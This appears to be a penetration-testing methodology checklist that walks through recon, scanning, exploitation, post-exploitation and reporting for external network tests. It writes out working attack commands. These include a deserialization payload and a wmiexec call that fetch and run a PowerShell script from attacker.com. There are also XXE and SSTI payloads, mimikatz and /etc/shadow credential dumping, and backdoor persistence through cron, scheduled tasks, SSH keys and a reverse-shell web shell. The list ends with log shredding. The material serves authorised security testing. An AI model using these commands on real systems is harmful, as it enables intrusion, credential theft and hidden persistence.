Expert-Level External Network Penetration Test

Phase 0: Pre-Engagement Intelligence

Check	Task	Tools & Approach
☐	**Understand Business Criticality**	Identify crown jewel assets, revenue-generating apps, compliance requirements (PCI-DSS, HIPAA, SOX).
☐	**Define "In-Scope" vs "Out-of-Scope"**	Document all IP ranges, domains, cloud instances, third-party integrations, APIs.
☐	**Identify Attack Surface Entry Points**	CDNs (Cloudflare, Akamai), WAFs, load balancers, email gateways, VPN concentrators.
☐	**Establish Communication Protocols**	Emergency contacts, escalation matrix, incident response trigger points.
☐	**Legal Documentation Review**	Ensure ROE covers: Credential brute-forcing, DoS testing, data exfiltration simulation, phishing (if applicable).

Phase 1: Reconnaissance & OSINT (Expert Level)

1.1 Subdomain Enumeration (Multi-Tool Correlation)

```
# Run multiple tools and correlate results
amass enum -active -d target.com -brute -w /usr/share/wordlists/amass/subdomains-top1mil-5000.txt -o amass.txt
subfinder -dL domains.txt -all -recursive -silent -o subfinder.txt
assetfinder --subs-only target.com | anew assetfinder.txt
shuffledns -d target.com -w /usr/share/wordlists/amass/subdomains-top1mil-5000.txt -r /path/to/resolvers.txt -o shuffledns.txt
```

```
# Merge and deduplicate
cat *.txt | sort -u | httpx -silent -threads 100 -o alive_subs.txt
```

1.2 Infrastructure Fingerprinting (Beyond Basic)

```
# Identify CDN/WAF bypass possibilities
wafw00f <https://target.com>
whatweb -a 3 <https://target.com> --no-errors
# Check for origin IP leaks via historical DNS
dnsdumpster.com
viewdns.info
# SSL certificate transparency logs with full chain analysis
curl "<https://crt.sh/?q=%.target.com&output=json>" | jq -r '.[].name_value' |
sed 's/\\*\\.//g' | anew crt.txt
```

1.3 Cloud & SaaS Reconnaissance

```
# AWS S3 buckets & Azure blobs
s3scanner scan -l domains.txt
cloud_enum -k target -k companyname -l cloud_assets.txt
# GitHub/GitLab advanced recon
git-all-secrets --org target --token $GITHUB_TOKEN
gitleaks --repo-url <https://github.com/target/repo> --verbose
# Search for exposed DevOps tools
shodan search "org:Target Corp product:Jenkins"
censys.io search "services.service_name: JENKINS AND autonomous_syste
m.organization: \\"Target Corp\\""
```

1.4 External Attack Surface Management (EASM)

```
# Use commercial-grade tools for comprehensive mapping
nuclei -l alive_subs.txt -asn -o nuclei_asn_scan.txt
```

```
# Identify all technology stack components
webanalyze -hosts alive_subs.txt -apps /path/to/apps.json -crawl 2
```

Phase 2: Scanning & Enumeration (No Stone Unturned)

2.1 Port Scanning (Advanced Methodology)

```
# Initial discovery (avoid detection)
nmap -Pn -sS --scan-delay 1s --max-retries 2 --defeat-rst-ratelimit -T2 -oA in
itial_scan <target>
# Full TCP scan with service detection
nmap -sV -sC -O -p- --script="default,safe,vuln" -T4 -oA full_tcp_scan <targe
t> --max-rate 1000
# UDP comprehensive scan (critical for DNS, SNMP, NTP)
nmap -sU -sV --top-ports 1000 -oA udp_scan <target> -T3
# Firewall/IDS evasion testing
nmap -f --mtu 24 -D RND:10 --data-length 200 --badsum -T2 <target>
```

2.2 Web Application Enumeration (Deep)

```
# Directory and file discovery
ffuf -u <https://target.com/FUZZ> -w /usr/share/seclists/Discovery/Web-Cont
ent/raft-large-directories.txt -mc 200,301,302,403 -t 50
gobuster dir -u <https://target.com> -w /usr/share/wordlists/dirbuster/directo
ry-list-2.3-medium.txt -x php,asp,aspx,jsp,html,txt -t 100
# Parameter discovery
arjun -u <https://target.com/api/endpoint> --get --post
paramspider -d target.com -l high
# API endpoint discovery
katana -u <https://target.com> -d 3 -jc -kf -fx -o katana_urls.txt
```

2.3 Service-Specific Enumeration (Comprehensive)

```
# SMB/SAMBA (all possible checks)
nmap --script "smb-* and not brute" -p 445 <target> -oA smb_enum
enum4linux-ng <target> -A -oA enum4linux_output
# SNMP (community strings + MIB walking)
onesixtyone -c /usr/share/seclists/Discovery/SNMP/common-snmp-communi
ty-strings.txt <target>
snmpwalk -c public -v2c <target> 1.3.6.1.2.1.1.1.0
# SMTP (user enumeration)
smtp-user-enum -M VRFY -U /usr/share/seclists/Usernames/top-usernames-
shortlist.txt -t <target>
# LDAP
ldapsearch -x -H ldap://<target>:389 -s base namingcontexts
nmap --script "ldap* and not brute" -p 389 <target>
```

2.4 SSL/TLS & Crypto Assessment

```
# Full cryptographic assessment
testssl.sh --openssl-timeout 5 --warnings batch --csvfile report.csv --htmlfile
report.html target.com:443
sslyze --regular --http_headers --compression --reneg --resum --certinfo --s
sl2 --ssl3 --tls1 --tls1_1 --tls1_2 --tls1_3 <target>:443
# Check for weak certificates
openssl s_client -connect target.com:443 -servername target.com 2>/dev/nul
l | openssl x509 -noout -text | grep -A1 "Signature Algorithm"
```

Phase 3: Vulnerability Analysis (Zero False Positives)

3.1 Automated Scanning (Multi-Tool Validation)

```
# Run multiple scanners for correlation
nuclei -l alive_subs.txt -severity critical,high,medium -rate-limit 150 -o nuclei_f
indings.json -j
jaeles scan -s /path/to/signatures -U alive_subs.txt -o jaeles_results
```

```
# Authenticated scanning for web apps
zaproxy -cmd -quickurl <https://target.com> -quickprogress -quickout report.
html
# Infrastructure vulnerability scanning
tenable.io scan (if licensed) OR
openvas-cli --target=<target> --profile="Full and fast" --verbose
```

3.2 Manual Vulnerability Discovery Checklist

Check	Test Type	Commands/Approach
☐	**Business Logic Flaws**	Manual testing: Bypass workflows, privilege escalation through normal operations
☐	**IDOR Testing**	`curl -X GET <https://target.com/api/user/12345` > vs `.../user/12346`
☐	**JWT Vulnerabilities**	`python3 jwt_tool.py <JWT_TOKEN> -C -d /path/to/wordlist`
☐	**GraphQL Testing**	Introspection queries, batch attacks, query depth DoS
☐	**WebSocket Security**	Manual fuzzing with `wsfuzzer`, message interception
☐	**SSRF Testing**	All input vectors: URLs, PDF generators, webhooks, imports
☐	**File Upload Bypasses**	Test 50+ extensions, magic bytes, double extensions, null bytes
☐	**CORS Misconfigurations**	`curl -H "Origin: <https://evil.com>" -I <https://target.com` >
☐	**DNS Rebinding**	Test with `rbndr.us` or self-hosted rebinding server
☐	**Cache Poisoning**	`X-Forwarded-Host` header manipulation, fat GET requests

3.3 API Security Testing

```
# API endpoint discovery
katana -u <https://api.target.com> -jc -kf -d 3 -o api_endpoints.txt
# API fuzzing
```

```
ffuf -u <https://api.target.com/v1/FUZZ> -w api_seclist.txt -H "Authorization: B
earer <token>" -mc 200
# OpenAPI/Swagger analysis
python3 APICopilot.py -u <https://target.com/swagger.json>
# GraphQL testing
graphql-cop -t <https://target.com/graphql>
```

3.4 Cloud Infrastructure Testing

```
# AWS S3 misconfigurations
s3scanner scan --bucket-names-file buckets.txt
# Azure Storage
az storage container list --account-name <account> --sas-token <token>
# Kubernetes API exposure
kube-hunter --remote target.com
# Docker registry
docker pull target.com:5000/repo:tag
```

Phase 4: Exploitation (Guaranteed Impact)

4.1 Prioritized Exploitation Framework

```
# 1. Critical vulnerabilities first (RCE, SQLi, Auth Bypass)
# 2. Chain lower-severity issues to achieve critical impact
# 3. Use custom exploit development when needed
```

4.2 Web Application Exploitation (Comprehensive)

```
# SQL Injection (all types)
sqlmap -u "<https://target.com/page?id=1>" --batch --level=5 --risk=3 --tech
nique=BEUSTQ --tamper=between,charencode --random-agent --dump-all
# NoSQL Injection
<https://target.com/api/user?query⇒{"$where": "sleep(5000)"}
```

```
# XXE Injection
<?xml version="1.0"?><!DOCTYPE root [<!ENTITY test SYSTEM 'file:///etc/pa
sswd'>]><root>&test;</root>
# SSTI (Server-Side Template Injection)
{{7*7}} ${7*7} <%= 7*7 %> {{config.__class__.__init__.__globals__['os'].pope
n('id').read()}}
# Deserialization
ysoserial.exe CommonsCollections6 'powershell iex(iwr <http://attacker.com/
shell.ps1> -UseBasicParsing)' | base64 -w0
```

4.3 Authentication & Authorization Testing

```
# OAuth/OIDC misconfigurations
test -e /opt/BlackHole/token_replay.py && python3 token_replay.py -t <token>
# JWT attacks
python3 jwt_tool.py <JWT_TOKEN> -C -d /usr/share/wordlists/rockyou.txt
# 2FA/MFA bypass
# Test for: Lack of rate limiting, code reuse, response manipulation
```

4.4 Network Service Exploitation

```
# SSH weak key exchange algorithms
ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 user@target
# RDP vulnerabilities
rdp-sec-check.pl <target>
# FTP bounce attack
nmap -b <ftpuser:ftppass@ftp.target.com> <internal_target>
# DNS zone transfer
dig axfr @ns1.target.com target.com
```

4.5 Cloud-Specific Exploitation

```
# AWS metadata service SSRF
curl <http://169.254.169.254/latest/meta-data/iam/security-credentials/>
```

```
# Azure metadata
curl -H "Metadata: true" <http://169.254.169.254/metadata/instance?api-versi
on=2021-02-01>
# Kubernetes API
curl -k https://<k8s-api>:6443/api/v1/namespaces/default/pods
```

Phase 5: Post-Exploitation & Lateral Movement

5.1 Initial Foothold Expansion

```
# Linux privilege escalation checklist
linpeas.sh -a
linux-exploit-suggester.sh -k 5.4.0
# Windows privilege escalation
winpeas.exe quiet fast
Seatbelt.exe -group=all
# Container escape
docker run --rm -it --privileged -v /:/host alpine chroot /host
```

5.2 Credential Harvesting & Dumping

```
# Linux
cat /etc/passwd /etc/shadow
find / -name "*.kdbx" -o -name "*pass*" -o -name "*cred*" 2>/dev/null
# Windows
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "lsadump::sam"
"exit"
# Browser credentials
LaZagne.exe browsers
```

5.3 Lateral Movement Techniques

```
# Pass-the-hash
impacket-psexec -hashes :NTLM_HASH administrator@target
# Kerberos attacks
impacket-getTGT -dc-ip <DC_IP> domain/user
impacket-secretsdump domain/user:password@target
# WMI execution
impacket-wmiexec user:pass@target "powershell iex(iwr <http://attacker.co
m/shell.ps1>)"
```

5.4 Persistence Mechanisms

```
# Linux cron jobs
echo "* * * * * root /tmp/backdoor.sh" >> /etc/crontab
# Windows scheduled tasks
schtasks /create /tn "UpdateService" /tr "C:\\Windows\\System32\\backdoor.e
xe" /sc minute /mo 1
# SSH authorized_keys
echo "ssh-rsa AAAAB3NzaC..." >> ~/.ssh/authorized_keys
# Web shells
msfvenom -p php/meterpreter/reverse_tcp LHOST=<IP> LPORT=443 -f raw >
shell.php
```

Phase 6: Reporting & Cleanup

6.1 Evidence Collection

```
# Screenshots with timestamp
import -window root screenshot_$(date +%s).png
# Command history logging
script -f engagement.log
# Network captures during exploitation
tcpdump -i eth0 -w exploitation_capture.pcap
```

6.2 Risk Prioritization Matrix

Criticality	Definition	Examples
Critical	Direct root-level access, full system compromise	RCE, Domain Admin compromise
High	Significant data access/privilege escalation	SQLi to DB, Admin panel access
Medium	Limited data access, configuration issues	Directory traversal, info disclosure
Low	Security weaknesses without direct exploit path	Version disclosure, missing headers

6.3 Professional Report Structure

```
1. Executive Summary (1 page max)
2. Technical Summary (3 pages)
3. Detailed Findings (per vulnerability):
   - CVSS 3.1/4.0 Score
   - Proof of Concept (screenshots, commands)
   - Business Impact
   - Remediation Steps (code snippets if possible)
4. Attack Narrative (timeline of compromise)
5. Appendix (full tool outputs, raw data)
6. Remediation Validation Checklist
```

6.4 Cleanup Procedures

```
# Remove all tools, scripts, and backdoors
rm -rf /tmp/linpeas.sh /tmp/nc /tmp/shell.php
# Delete created users
net user pentester /delete
# Clear logs (if authorized)
meterpreter > clearev
find /var/log -type f -exec shred -u {} \\;
```

```
# Remove persistence mechanisms
schtasks /delete /tn "UpdateService" /f
```

Expert Considerations Often Missed

7.1 Blind Spots in Typical Tests

1. **IPv6 Attack Surface** - `nmap -6 -sS -p- <target>`
2. **Web Application Firewall Bypasses** - Test with `byp4xx`, `403fuzzer`
3. **Domain Name Hijacking** - Check for expired domains/subdomains
4. **Email Security** - SPF/DKIM/DMARC misconfigurations
5. **VoIP Systems** - SIP scanning (`svmap`, `sipvicious`)
6. **IoT/ICS Devices** - Shodan search for specific banners
7. **Third-Party Integrations** - JavaScript includes, analytics trackers
8. **Mobile API Backends** - Often different from web endpoints

7.2 Automation Script for Comprehensive Testing

```
#!/bin/bash
# run_all.sh - Comprehensive external test automation

TARGET=$1
OUTDIR="scan_results_$(date +%Y%m%d_%H%M%S)"
mkdir -p $OUTDIR

echo "[+] Starting comprehensive assessment of $TARGET"

# Subdomain enumeration
echo "[+] Phase 1: Subdomain Enumeration"
./subdomain_enum.sh $TARGET > $OUTDIR/subdomains.txt

# Alive checking
```

```
cat $OUTDIR/subdomains.txt | httpx -silent -threads 100 > $OUTDIR/alive_hosts.txt

# Full port scan on alive hosts
echo "[+] Phase 2: Port Scanning"
nmap -sV -sC -O -p- -iL $OUTDIR/alive_hosts.txt -oA $OUTDIR/full_scan --max-rate 1000

# Web app scanning
echo "[+] Phase 3: Web Application Testing"
cat $OUTDIR/alive_hosts.txt | nuclei -t /root/nuclei-templates/ -severity critical,high -o $OUTDIR/nuclei_results.txt

# Vulnerability correlation and reporting
echo "[+] Phase 4: Analysis"
python3 correlate_findings.py $OUTDIR/*.txt > $OUTDIR/final_report.md

echo "[+] Assessment complete. Results in $OUTDIR/"
```

7.3 Continuous Monitoring Approach

```
# Set up for ongoing detection of new assets
amass track -d target.com -diff
github-search -q "target.com" -t all -s weekly
# Monitor certificate transparency logs
certstream --url="wss://certstream.calidog.io" --domains="target.com"
```

Validation Checklist: Are You Really Done?

Check	Question	Verification
☐	Have all subdomains been discovered?	Compare results from 4+ tools
☐	Are there any unauthenticated admin panels?	Test common paths: `/admin`, `/wp-admin`, `/administrator`

Check	Question	Verification
☐	Have all input vectors been tested?	Parameters, headers, cookies, file uploads, WebSockets
☐	Is business logic fully tested?	Test purchase flows, user permissions, workflow bypasses
☐	Are third-party integrations reviewed?	Check JS libraries, analytics, CDN configurations
☐	Is the attack chain documented?	Can you recreate the full compromise path?
☐	Are findings reproducible?	Another tester can follow your steps
☐	Is remediation advice actionable?	Development team can implement fixes
☐	Have you tested at different times?	Some systems behave differently off-hours
☐	Did you check for dormant/legacy systems?	Old servers, deprecated APIs, backup systems